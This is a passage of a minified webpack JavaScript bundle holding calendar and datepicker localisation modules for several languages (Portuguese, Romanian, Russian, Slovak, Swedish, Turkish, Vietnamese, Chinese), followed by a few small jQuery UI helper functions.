r=n(1);r.datepickerLocale("pt","pt",{closeText:"Fechar",prevText:"Anterior",nextText:"Seguinte",currentText:"Hoje",monthNames:["Janeiro","Fevereiro","Março","Abril","Maio","Junho","Julho","Agosto","Setembro","Outubro","Novembro","Dezembro"],monthNamesShort:["Jan","Fev","Mar","Abr","Mai","Jun","Jul","Ago","Set","Out","Nov","Dez"],dayNames:["Domingo","Segunda-feira","Terça-feira","Quarta-feira","Quinta-feira","Sexta-feira","Sábado"],dayNamesShort:["Dom","Seg","Ter","Qua","Qui","Sex","Sáb"],dayNamesMin:["Dom","Seg","Ter","Qua","Qui","Sex","Sáb"],weekHeader:"Sem",dateFormat:"dd/mm/yy",firstDay:0,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("pt",{buttonText:{month:"Mês",week:"Semana",day:"Dia",list:"Agenda"},allDayText:"Todo o dia",eventLimitText:"mais",noEventsMessage:"Não há eventos para mostrar"})},186:function(e,t,n){!function(e,t){t(n(0))}(0,(function(e){return e.defineLocale("pt",{months:"janeiro_fevereiro_março_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro".split("_"),monthsShort:"jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez".split("_"),weekdays:"Domingo_Segunda-feira_Terça-feira_Quarta-feira_Quinta-feira_Sexta-feira_Sábado".split("_"),weekdaysShort:"Dom_Seg_Ter_Qua_Qui_Sex_Sáb".split("_"),weekdaysMin:"Do_2ª_3ª_4ª_5ª_6ª_Sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY HH:mm",LLLL:"dddd, D [de] MMMM [de] YYYY HH:mm"},calendar:{sameDay:"[Hoje às] LT",nextDay:"[Amanhã às] LT",nextWeek:"dddd [às] LT",lastDay:"[Ontem às] LT",lastWeek:function(){return 0===this.day()||6===this.day()?"[Último] dddd [às] LT":"[Última] dddd [às] LT"},sameElse:"L"},relativeTime:{future:"em %s",past:"há %s",s:"segundos",ss:"%d segundos",m:"um minuto",mm:"%d minutos",h:"uma hora",hh:"%d horas",d:"um dia",dd:"%d dias",M:"um mês",MM:"%d meses",y:"um ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}))}}))},7299:function(e,t,n){var r,i;"undefined"!=typeof self&&self,e.exports=(r=n(381),i=n(2836),function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=187)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=i},187:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(188);var r=n(1);r.datepickerLocale("ro","ro",{closeText:"Închide",prevText:"&#xAB; Luna precedentă",nextText:"Luna următoare &#xBB;",currentText:"Azi",monthNames:["Ianuarie","Februarie","Martie","Aprilie","Mai","Iunie","Iulie","August","Septembrie","Octombrie","Noiembrie","Decembrie"],monthNamesShort:["Ian","Feb","Mar","Apr","Mai","Iun","Iul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Duminică","Luni","Marţi","Miercuri","Joi","Vineri","Sâmbătă"],dayNamesShort:["Dum","Lun","Mar","Mie","Joi","Vin","Sâm"],dayNamesMin:["Du","Lu","Ma","Mi","Jo","Vi","Sâ"],weekHeader:"Săpt",dateFormat:"dd.mm.yy",firstDay:1,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("ro",{buttonText:{prev:"precedentă",next:"următoare",month:"Lună",week:"Săptămână",day:"Zi",list:"Agendă"},allDayText:"Toată ziua",eventLimitText:function(e){return"+alte "+e},noEventsMessage:"Nu există evenimente de afișat"})},188:function(e,t,n){!function(e,t){t(n(0))}(0,(function(e){function t(e,t,n){var r=" ";return(e%100>=20||e>=100&&e%100==0)&&(r=" de "),e+r+{ss:"secunde",mm:"minute",hh:"ore",dd:"zile",MM:"luni",yy:"ani"}[n]}return e.defineLocale("ro",{months:"ianuarie_februarie_martie_aprilie_mai_iunie_iulie_august_septembrie_octombrie_noiembrie_decembrie".split("_"),monthsShort:"ian._feb._mart._apr._mai_iun._iul._aug._sept._oct._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"duminică_luni_marți_miercuri_joi_vineri_sâmbătă".split("_"),weekdaysShort:"Dum_Lun_Mar_Mie_Joi_Vin_Sâm".split("_"),weekdaysMin:"Du_Lu_Ma_Mi_Jo_Vi_Sâ".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[azi la] LT",nextDay:"[mâine la] LT",nextWeek:"dddd [la] LT",lastDay:"[ieri la] LT",lastWeek:"[fosta] dddd [la] LT",sameElse:"L"},relativeTime:{future:"peste %s",past:"%s în urmă",s:"câteva secunde",ss:t,m:"un minut",mm:t,h:"o oră",hh:t,d:"o zi",dd:t,M:"o lună",MM:t,y:"un an",yy:t},week:{dow:1,doy:7}})}))}}))},7377:function(e,t,n){var r,i;"undefined"!=typeof self&&self,e.exports=(r=n(381),i=n(2836),function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=189)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=i},189:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(190);var r=n(1);r.datepickerLocale("ru","ru",{closeText:"Закрыть",prevText:"&#x3C;Пред",nextText:"След&#x3E;",currentText:"Сегодня",monthNames:["Январь","Февраль","Март","Апрель","Май","Июнь","Июль","Август","Сентябрь","Октябрь","Ноябрь","Декабрь"],monthNamesShort:["Янв","Фев","Мар","Апр","Май","Июн","Июл","Авг","Сен","Окт","Ноя","Дек"],dayNames:["воскресенье","понедельник","вторник","среда","четверг","пятница","суббота"],dayNamesShort:["вск","пнд","втр","срд","чтв","птн","сбт"],dayNamesMin:["Вс","Пн","Вт","Ср","Чт","Пт","Сб"],weekHeader:"Нед",dateFormat:"dd.mm.yy",firstDay:1,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("ru",{buttonText:{month:"Месяц",week:"Неделя",day:"День",list:"Повестка дня"},allDayText:"Весь день",eventLimitText:function(e){return"+ ещё "+e},noEventsMessage:"Нет событий для отображения"})},190:function(e,t,n){!function(e,t){t(n(0))}(0,(function(e){function t(e,t){var n=e.split("_");return t%10==1&&t%100!=11?n[0]:t%10>=2&&t%10<=4&&(t%100<10||t%100>=20)?n[1]:n[2]}function n(e,n,r){return"m"===r?n?"минута":"минуту":e+" "+t({ss:n?"секунда_секунды_секунд":"секунду_секунды_секунд",mm:n?"минута_минуты_минут":"минуту_минуты_минут",hh:"час_часа_часов",dd:"день_дня_дней",MM:"месяц_месяца_месяцев",yy:"год_года_лет"}[r],+e)}var r=[/^янв/i,/^фев/i,/^мар/i,/^апр/i,/^ма[йя]/i,/^июн/i,/^июл/i,/^авг/i,/^сен/i,/^окт/i,/^ноя/i,/^дек/i];return e.defineLocale("ru",{months:{format:"января_февраля_марта_апреля_мая_июня_июля_августа_сентября_октября_ноября_декабря".split("_"),standalone:"январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь".split("_")},monthsShort:{format:"янв._февр._мар._апр._мая_июня_июля_авг._сент._окт._нояб._дек.".split("_"),standalone:"янв._февр._март_апр._май_июнь_июль_авг._сент._окт._нояб._дек.".split("_")},weekdays:{standalone:"воскресенье_понедельник_вторник_среда_четверг_пятница_суббота".split("_"),format:"воскресенье_понедельник_вторник_среду_четверг_пятницу_субботу".split("_"),isFormat:/\[ ?[Вв] ?(?:прошлую|следующую|эту)? ?\] ?dddd/},weekdaysShort:"вс_пн_вт_ср_чт_пт_сб".split("_"),weekdaysMin:"вс_пн_вт_ср_чт_пт_сб".split("_"),monthsParse:r,longMonthsParse:r,shortMonthsParse:r,monthsRegex:/^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i,monthsShortRegex:/^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i,monthsStrictRegex:/^(январ[яь]|феврал[яь]|марта?|апрел[яь]|ма[яй]|июн[яь]|июл[яь]|августа?|сентябр[яь]|октябр[яь]|ноябр[яь]|декабр[яь])/i,monthsShortStrictRegex:/^(янв\.|февр?\.|мар[т.]|апр\.|ма[яй]|июн[ья.]|июл[ья.]|авг\.|сент?\.|окт\.|нояб?\.|дек\.)/i,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY г.",LLL:"D MMMM YYYY г., H:mm",LLLL:"dddd, D MMMM YYYY г., H:mm"},calendar:{sameDay:"[Сегодня, в] LT",nextDay:"[Завтра, в] LT",lastDay:"[Вчера, в] LT",nextWeek:function(e){if(e.week()===this.week())return 2===this.day()?"[Во] dddd, [в] LT":"[В] dddd, [в] LT";switch(this.day()){case 0:return"[В следующее] dddd, [в] LT";case 1:case 2:case 4:return"[В следующий] dddd, [в] LT";case 3:case 5:case 6:return"[В следующую] dddd, [в] LT"}},lastWeek:function(e){if(e.week()===this.week())return 2===this.day()?"[Во] dddd, [в] LT":"[В] dddd, [в] LT";switch(this.day()){case 0:return"[В прошлое] dddd, [в] LT";case 1:case 2:case 4:return"[В прошлый] dddd, [в] LT";case 3:case 5:case 6:return"[В прошлую] dddd, [в] LT"}},sameElse:"L"},relativeTime:{future:"через %s",past:"%s назад",s:"несколько секунд",ss:n,m:n,mm:n,h:"час",hh:n,d:"день",dd:n,M:"месяц",MM:n,y:"год",yy:n},meridiemParse:/ночи|утра|дня|вечера/i,isPM:function(e){return/^(дня|вечера)$/.test(e)},meridiem:function(e,t,n){return e<4?"ночи":e<12?"утра":e<17?"дня":"вечера"},dayOfMonthOrdinalParse:/\d{1,2}-(й|го|я)/,ordinal:function(e,t){switch(t){case"M":case"d":case"DDD":return e+"-й";case"D":return e+"-го";case"w":case"W":return e+"-я";default:return e}},week:{dow:1,doy:4}})}))}}))},5302:function(e,t,n){var r,i;"undefined"!=typeof self&&self,e.exports=(r=n(381),i=n(2836),function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=191)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=i},191:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(192);var r=n(1);r.datepickerLocale("sk","sk",{closeText:"Zavrieť",prevText:"&#x3C;Predchádzajúci",nextText:"Nasledujúci&#x3E;",currentText:"Dnes",monthNames:["január","február","marec","apríl","máj","jún","júl","august","september","október","november","december"],monthNamesShort:["Jan","Feb","Mar","Apr","Máj","Jún","Júl","Aug","Sep","Okt","Nov","Dec"],dayNames:["nedeľa","pondelok","utorok","streda","štvrtok","piatok","sobota"],dayNamesShort:["Ned","Pon","Uto","Str","Štv","Pia","Sob"],dayNamesMin:["Ne","Po","Ut","St","Št","Pia","So"],weekHeader:"Ty",dateFormat:"dd.mm.yy",firstDay:1,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("sk",{buttonText:{month:"Mesiac",week:"Týždeň",day:"Deň",list:"Rozvrh"},allDayText:"Celý deň",eventLimitText:function(e){return"+ďalšie: "+e},noEventsMessage:"Žiadne akcie na zobrazenie"})},192:function(e,t,n){!function(e,t){t(n(0))}(0,(function(e){function t(e){return e>1&&e<5}function n(e,n,r,i){var s=e+" ";switch(r){case"s":return n||i?"pár sekúnd":"pár sekundami";case"ss":return n||i?s+(t(e)?"sekundy":"sekúnd"):s+"sekundami";case"m":return n?"minúta":i?"minútu":"minútou";case"mm":return n||i?s+(t(e)?"minúty":"minút"):s+"minútami";case"h":return n?"hodina":i?"hodinu":"hodinou";case"hh":return n||i?s+(t(e)?"hodiny":"hodín"):s+"hodinami";case"d":return n||i?"deň":"dňom";case"dd":return n||i?s+(t(e)?"dni":"dní"):s+"dňami";case"M":return n||i?"mesiac":"mesiacom";case"MM":return n||i?s+(t(e)?"mesiace":"mesiacov"):s+"mesiacmi";case"y":return n||i?"rok":"rokom";case"yy":return n||i?s+(t(e)?"roky":"rokov"):s+"rokmi"}}var r="január_február_marec_apríl_máj_jún_júl_august_september_október_november_december".split("_"),i="jan_feb_mar_apr_máj_jún_júl_aug_sep_okt_nov_dec".split("_");return e.defineLocale("sk",{months:r,monthsShort:i,weekdays:"nedeľa_pondelok_utorok_streda_štvrtok_piatok_sobota".split("_"),weekdaysShort:"ne_po_ut_st_št_pi_so".split("_"),weekdaysMin:"ne_po_ut_st_št_pi_so".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd D. MMMM YYYY H:mm"},calendar:{sameDay:"[dnes o] LT",nextDay:"[zajtra o] LT",nextWeek:function(){switch(this.day()){case 0:return"[v nedeľu o] LT";case 1:case 2:return"[v] dddd [o] LT";case 3:return"[v stredu o] LT";case 4:return"[vo štvrtok o] LT";case 5:return"[v piatok o] LT";case 6:return"[v sobotu o] LT"}},lastDay:"[včera o] LT",lastWeek:function(){switch(this.day()){case 0:return"[minulú nedeľu o] LT";case 1:case 2:return"[minulý] dddd [o] LT";case 3:return"[minulú stredu o] LT";case 4:case 5:return"[minulý] dddd [o] LT";case 6:return"[minulú sobotu o] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"pred %s",s:n,ss:n,m:n,mm:n,h:n,hh:n,d:n,dd:n,M:n,MM:n,y:n,yy:n},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}))}}))},380:function(e,t,n){var r,i;"undefined"!=typeof self&&self,e.exports=(r=n(381),i=n(2836),function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=201)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=i},201:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(202);var r=n(1);r.datepickerLocale("sv","sv",{closeText:"Stäng",prevText:"&#xAB;Förra",nextText:"Nästa&#xBB;",currentText:"Idag",monthNames:["Januari","Februari","Mars","April","Maj","Juni","Juli","Augusti","September","Oktober","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","Maj","Jun","Jul","Aug","Sep","Okt","Nov","Dec"],dayNamesShort:["Sön","Mån","Tis","Ons","Tor","Fre","Lör"],dayNames:["Söndag","Måndag","Tisdag","Onsdag","Torsdag","Fredag","Lördag"],dayNamesMin:["Sö","Må","Ti","On","To","Fr","Lö"],weekHeader:"v. ",dateFormat:"yy-mm-dd",firstDay:1,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("sv",{buttonText:{month:"Månad",week:"Vecka",day:"Dag",list:"Program"},allDayText:"Heldag",eventLimitText:"till",noEventsMessage:"Inga händelser att visa"})},202:function(e,t,n){!function(e,t){t(n(0))}(0,(function(e){return e.defineLocale("sv",{months:"januari_februari_mars_april_maj_juni_juli_augusti_september_oktober_november_december".split("_"),monthsShort:"jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec".split("_"),weekdays:"söndag_måndag_tisdag_onsdag_torsdag_fredag_lördag".split("_"),weekdaysShort:"sön_mån_tis_ons_tor_fre_lör".split("_"),weekdaysMin:"sö_må_ti_on_to_fr_lö".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [kl.] HH:mm",LLLL:"dddd D MMMM YYYY [kl.] HH:mm",lll:"D MMM YYYY HH:mm",llll:"ddd D MMM YYYY HH:mm"},calendar:{sameDay:"[Idag] LT",nextDay:"[Imorgon] LT",lastDay:"[Igår] LT",nextWeek:"[På] dddd LT",lastWeek:"[I] dddd[s] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"för %s sedan",s:"några sekunder",ss:"%d sekunder",m:"en minut",mm:"%d minuter",h:"en timme",hh:"%d timmar",d:"en dag",dd:"%d dagar",M:"en månad",MM:"%d månader",y:"ett år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}(\:e|\:a)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?":e":1===t||2===t?":a":":e")},week:{dow:1,doy:4}})}))}}))},2924:function(e,t,n){var r,i;"undefined"!=typeof self&&self,e.exports=(r=n(381),i=n(2836),function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=205)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=i},205:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(206);var r=n(1);r.datepickerLocale("tr","tr",{closeText:"kapat",prevText:"&#x3C;geri",nextText:"ileri&#x3e",currentText:"bugün",monthNames:["Ocak","Şubat","Mart","Nisan","Mayıs","Haziran","Temmuz","Ağustos","Eylül","Ekim","Kasım","Aralık"],monthNamesShort:["Oca","Şub","Mar","Nis","May","Haz","Tem","Ağu","Eyl","Eki","Kas","Ara"],dayNames:["Pazar","Pazartesi","Salı","Çarşamba","Perşembe","Cuma","Cumartesi"],dayNamesShort:["Pz","Pt","Sa","Ça","Pe","Cu","Ct"],dayNamesMin:["Pz","Pt","Sa","Ça","Pe","Cu","Ct"],weekHeader:"Hf",dateFormat:"dd.mm.yy",firstDay:1,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("tr",{buttonText:{next:"ileri",month:"Ay",week:"Hafta",day:"Gün",list:"Ajanda"},allDayText:"Tüm gün",eventLimitText:"daha fazla",noEventsMessage:"Gösterilecek etkinlik yok"})},206:function(e,t,n){!function(e,t){t(n(0))}(0,(function(e){var t={1:"'inci",5:"'inci",8:"'inci",70:"'inci",80:"'inci",2:"'nci",7:"'nci",20:"'nci",50:"'nci",3:"'üncü",4:"'üncü",100:"'üncü",6:"'ncı",9:"'uncu",10:"'uncu",30:"'uncu",60:"'ıncı",90:"'ıncı"};return e.defineLocale("tr",{months:"Ocak_Şubat_Mart_Nisan_Mayıs_Haziran_Temmuz_Ağustos_Eylül_Ekim_Kasım_Aralık".split("_"),monthsShort:"Oca_Şub_Mar_Nis_May_Haz_Tem_Ağu_Eyl_Eki_Kas_Ara".split("_"),weekdays:"Pazar_Pazartesi_Salı_Çarşamba_Perşembe_Cuma_Cumartesi".split("_"),weekdaysShort:"Paz_Pts_Sal_Çar_Per_Cum_Cts".split("_"),weekdaysMin:"Pz_Pt_Sa_Ça_Pe_Cu_Ct".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[bugün saat] LT",nextDay:"[yarın saat] LT",nextWeek:"[gelecek] dddd [saat] LT",lastDay:"[dün] LT",lastWeek:"[geçen] dddd [saat] LT",sameElse:"L"},relativeTime:{future:"%s sonra",past:"%s önce",s:"birkaç saniye",ss:"%d saniye",m:"bir dakika",mm:"%d dakika",h:"bir saat",hh:"%d saat",d:"bir gün",dd:"%d gün",M:"bir ay",MM:"%d ay",y:"bir yıl",yy:"%d yıl"},ordinal:function(e,n){switch(n){case"d":case"D":case"Do":case"DD":return e;default:if(0===e)return e+"'ıncı";var r=e%10,i=e%100-r,s=e>=100?100:null;return e+(t[r]||t[i]||t[s])}},week:{dow:1,doy:7}})}))}}))},9374:function(e,t,n){var r,i;"undefined"!=typeof self&&self,e.exports=(r=n(381),i=n(2836),function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=209)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=i},209:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(210);var r=n(1);r.datepickerLocale("vi","vi",{closeText:"Đóng",prevText:"&#x3C;Trước",nextText:"Tiếp&#x3E;",currentText:"Hôm nay",monthNames:["Tháng Một","Tháng Hai","Tháng Ba","Tháng Tư","Tháng Năm","Tháng Sáu","Tháng Bảy","Tháng Tám","Tháng Chín","Tháng Mười","Tháng Mười Một","Tháng Mười Hai"],monthNamesShort:["Tháng 1","Tháng 2","Tháng 3","Tháng 4","Tháng 5","Tháng 6","Tháng 7","Tháng 8","Tháng 9","Tháng 10","Tháng 11","Tháng 12"],dayNames:["Chủ Nhật","Thứ Hai","Thứ Ba","Thứ Tư","Thứ Năm","Thứ Sáu","Thứ Bảy"],dayNamesShort:["CN","T2","T3","T4","T5","T6","T7"],dayNamesMin:["CN","T2","T3","T4","T5","T6","T7"],weekHeader:"Tu",dateFormat:"dd/mm/yy",firstDay:0,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("vi",{buttonText:{month:"Tháng",week:"Tuần",day:"Ngày",list:"Lịch biểu"},allDayText:"Cả ngày",eventLimitText:function(e){return"+ thêm "+e},noEventsMessage:"Không có sự kiện để hiển thị"})},210:function(e,t,n){!function(e,t){t(n(0))}(0,(function(e){return e.defineLocale("vi",{months:"tháng 1_tháng 2_tháng 3_tháng 4_tháng 5_tháng 6_tháng 7_tháng 8_tháng 9_tháng 10_tháng 11_tháng 12".split("_"),monthsShort:"Th01_Th02_Th03_Th04_Th05_Th06_Th07_Th08_Th09_Th10_Th11_Th12".split("_"),monthsParseExact:!0,weekdays:"chủ nhật_thứ hai_thứ ba_thứ tư_thứ năm_thứ sáu_thứ bảy".split("_"),weekdaysShort:"CN_T2_T3_T4_T5_T6_T7".split("_"),weekdaysMin:"CN_T2_T3_T4_T5_T6_T7".split("_"),weekdaysParseExact:!0,meridiemParse:/sa|ch/i,isPM:function(e){return/^ch$/i.test(e)},meridiem:function(e,t,n){return e<12?n?"sa":"SA":n?"ch":"CH"},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM [năm] YYYY",LLL:"D MMMM [năm] YYYY HH:mm",LLLL:"dddd, D MMMM [năm] YYYY HH:mm",l:"DD/M/YYYY",ll:"D MMM YYYY",lll:"D MMM YYYY HH:mm",llll:"ddd, D MMM YYYY HH:mm"},calendar:{sameDay:"[Hôm nay lúc] LT",nextDay:"[Ngày mai lúc] LT",nextWeek:"dddd [tuần tới lúc] LT",lastDay:"[Hôm qua lúc] LT",lastWeek:"dddd [tuần trước lúc] LT",sameElse:"L"},relativeTime:{future:"%s tới",past:"%s trước",s:"vài giây",ss:"%d giây",m:"một phút",mm:"%d phút",h:"một giờ",hh:"%d giờ",d:"một ngày",dd:"%d ngày",M:"một tháng",MM:"%d tháng",y:"một năm",yy:"%d năm"},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:function(e){return e},week:{dow:1,doy:4}})}))}}))},1123:function(e,t,n){var r,i;"undefined"!=typeof self&&self,e.exports=(r=n(381),i=n(2836),function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=211)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=i},211:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(212);var r=n(1);r.datepickerLocale("zh-cn","zh-CN",{closeText:"关闭",prevText:"&#x3C;上月",nextText:"下月&#x3E;",currentText:"今天",monthNames:["一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"],monthNamesShort:["一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"],dayNames:["星期日","星期一","星期二","星期三","星期四","星期五","星期六"],dayNamesShort:["周日","周一","周二","周三","周四","周五","周六"],dayNamesMin:["日","一","二","三","四","五","六"],weekHeader:"周",dateFormat:"yy-mm-dd",firstDay:1,isRTL:!1,showMonthAfterYear:!0,yearSuffix:"年"}),r.locale("zh-cn",{buttonText:{month:"月",week:"周",day:"日",list:"日程"},allDayText:"全天",eventLimitText:function(e){return"另外 "+e+" 个"},noEventsMessage:"没有事件显示"})},212:function(e,t,n){!function(e,t){t(n(0))}(0,(function(e){return e.defineLocale("zh-cn",{months:"一月_二月_三月_四月_五月_六月_七月_八月_九月_十月_十一月_十二月".split("_"),monthsShort:"1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"),weekdays:"星期日_星期一_星期二_星期三_星期四_星期五_星期六".split("_"),weekdaysShort:"周日_周一_周二_周三_周四_周五_周六".split("_"),weekdaysMin:"日_一_二_三_四_五_六".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY/MM/DD",LL:"YYYY年M月D日",LLL:"YYYY年M月D日Ah点mm分",LLLL:"YYYY年M月D日ddddAh点mm分",l:"YYYY/M/D",ll:"YYYY年M月D日",lll:"YYYY年M月D日 HH:mm",llll:"YYYY年M月D日dddd HH:mm"},meridiemParse:/凌晨|早上|上午|中午|下午|晚上/,meridiemHour:function(e,t){return 12===e&&(e=0),"凌晨"===t||"早上"===t||"上午"===t?e:"下午"===t||"晚上"===t?e+12:e>=11?e:e+12},meridiem:function(e,t,n){var r=100*e+t;return r<600?"凌晨":r<900?"早上":r<1130?"上午":r<1230?"中午":r<1800?"下午":"晚上"},calendar:{sameDay:"[今天]LT",nextDay:"[明天]LT",nextWeek:"[下]ddddLT",lastDay:"[昨天]LT",lastWeek:"[上]ddddLT",sameElse:"L"},dayOfMonthOrdinalParse:/\d{1,2}(日|月|周)/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+"日";case"M":return e+"月";case"w":case"W":return e+"周";default:return e}},relativeTime:{future:"%s后",past:"%s前",s:"几秒",ss:"%d 秒",m:"1 分钟",mm:"%d 分钟",h:"1 小时",hh:"%d 小时",d:"1 天",dd:"%d 天",M:"1 个月",MM:"%d 个月",y:"1 年",yy:"%d 年"},week:{dow:1,doy:4}})}))}}))},6400:function(e,t,n){var r,i,s;i=[n(9755),n(5592)],void 0===(s="function"==typeof(r=function(e){return e.extend(e.expr[":"],{data:e.expr.createPseudo?e.expr.createPseudo((function(t){return function(n){return!!e.data(n,t)}})):function(t,n,r){return!!e.data(t,r[3])}})})?r.apply(t,i):r)||(e.exports=s)},1870:function(e,t,n){var r,i,s;i=[n(9755),n(5592)],void 0===(s="function"==typeof(r=function(e){return e.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase())})?r.apply(t,i):r)||(e.exports=s)},1624:function(e,t,n){var r,i,s;i=[n(9755),n(5592)],void 